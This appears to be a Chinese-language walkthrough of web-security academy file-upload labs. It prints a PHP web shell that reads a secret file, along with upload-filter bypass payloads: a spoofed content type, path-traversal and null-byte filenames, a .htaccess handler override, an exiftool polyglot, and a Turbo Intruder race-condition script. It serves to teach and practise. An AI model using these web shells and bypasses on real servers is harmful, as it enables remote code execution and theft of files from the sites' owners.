通过 web shell 上传远程代码执行

image-20221230122516761

<?php echo file_get_contents('/home/carlos/secret'); ?>

image-20221230123042565

image-20221230122749702

image-20221230122856405

image-20221230123130643

image-20221230123150999

通过内容类型限制绕过 Web shell 上传

image-20221230123328256

<?php echo file_get_contents('/home/carlos/secret'); ?>

image-20221230123932627

Content-Type: image/jpeg

image-20221230124003696

image-20221230124039219

image-20221230124053070

通过路径遍历上传Web shell

image-20221230124318024

<?php echo file_get_contents('/home/carlos/secret'); ?>

image-20221230124554460

image-20221230124631134

似乎没有执行 我们尝试上传到其他目录去

filename="../p.php"

image-20221230124713311

filename="%2e%2e%2fp.php"

image-20221230124727410

/files/p.php

image-20221230124749306

image-20221230124806222

Web shell 通过扩展黑名单绕过上传

image-20221230130228342

<?php echo file_get_contents('/home/carlos/secret'); ?>

image-20221230130256834

AddType application/x-httpd-php png
filename=".htaccess"
Content-Type: text/plain

image-20221230130550480

filename="p.png"
Content-Type: image/png
<?php echo file_get_contents('/home/carlos/secret'); ?>

image-20221230130635589

/files/avatars/p.png

image-20221230130804289

image-20221230130822258

通过混淆文件扩展名上传 Web shell

image-20221230131139539

<?php echo file_get_contents('/home/carlos/secret'); ?>

image-20221230131152598

filename="p.php%00.png"

image-20221230131225779

image-20221230131302329

image-20221230131312763

通过多语言 web shell 上传远程代码执行

image-20221230131347742

<?php echo file_get_contents('/home/carlos/secret'); ?>

image-20221230131813353

下载个工具

https://exiftool.org/exiftool-12.52.zip

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" wanan.jpg -o p.php

exiftool 工具用来读取 写入和编辑图像文件的元数据 而comment字段通常用来保存一些图像的信息 包括作者 摄影师 版权 说明等

image-20221230131952082

image-20221230132009782

image-20221230132032632

image-20221230132109940

image-20221230132124025

通过竞争条件上传 Web Shell

image-20221230132454840

<?php echo file_get_contents('/home/carlos/secret'); ?>
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
//这里很明显 先移动后删除
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}

function checkViruses($fileName) {
// checking for viruses
...
}

function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>

image-20221230133436450

image-20221230133514121

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10, )

request1 = '''POST /my-account/avatar HTTP/1.1
Host: 0acf003104f10ba0c00e136e00c9003a.web-security-academy.net
Cookie: session=PAEmhnuMNlsqfhyKQQ5cM6pQ5pFwrpvz
Content-Length: 470
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0acf003104f10ba0c00e136e00c9003a.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywWMANG6ttPca1ZBP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0acf003104f10ba0c00e136e00c9003a.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarywWMANG6ttPca1ZBP
Content-Disposition: form-data; name="avatar"; filename="p.php"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundarywWMANG6ttPca1ZBP
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundarywWMANG6ttPca1ZBP
Content-Disposition: form-data; name="csrf"

mdYqZe9exXNIbtDeqbfmRfDGGkqwjR7p
------WebKitFormBoundarywWMANG6ttPca1ZBP--
'''

request2 = '''GET /files/avatars/p.php HTTP/1.1
Host: 0acf003104f10ba0c00e136e00c9003a.web-security-academy.net
Cookie: session=kUg5OHIKrw2oRutjVpJIw9MzpIfkimKB
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a0000e003123b4fc0cf9f630045004e.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''

# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')

# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')

engine.complete(timeout=60)


def handleResponse(req, interesting):
table.add(req)

image-20221230133445889

image-20221230133455778